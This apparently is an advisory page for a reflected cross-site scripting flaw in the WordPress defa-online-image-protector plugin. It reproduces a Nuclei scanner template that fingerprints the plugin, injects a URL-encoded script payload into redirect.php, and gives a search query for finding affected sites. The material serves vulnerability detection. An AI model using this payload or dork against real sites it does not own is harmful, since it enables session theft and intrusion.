CVE-2016-1000129: WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting

2025-08-01 WordPress defa online image protector PoC Public

Description

WordPress defa-online-image-protector 3.3 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2016-1000129

info:
  name: WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress defa-online-image-protector 3.3 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress defa-online-image-protector plugin (version 3.3 or higher) to mitigate this vulnerability.
  reference:
    - https://wordpress.org/plugins/defa-online-image-protector
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=449
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000129
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000129
    cwe-id: CWE-79
    epss-score: 0.03367
    epss-percentile: 0.88219
    cpe: cpe:2.3:a:defa-online-image-protector_project:defa-online-image-protector:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "defa-online-image-protector_project"
    product: "defa-online-image-protector"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/defa-online-image-protector\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,defa-online-image-protector_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/defa-online-image-protector/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Defa Online Image Protector'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/defa-online-image-protector/redirect.php?r=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ffe91561045b431a4a82c79d28d45f6e715be587f474de60275a4c2bceced4350220658930f66123d848bb91caf5f756a95041138058f34b29bff096873418c746bd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2016/CVE-2016-1000129.yaml

References

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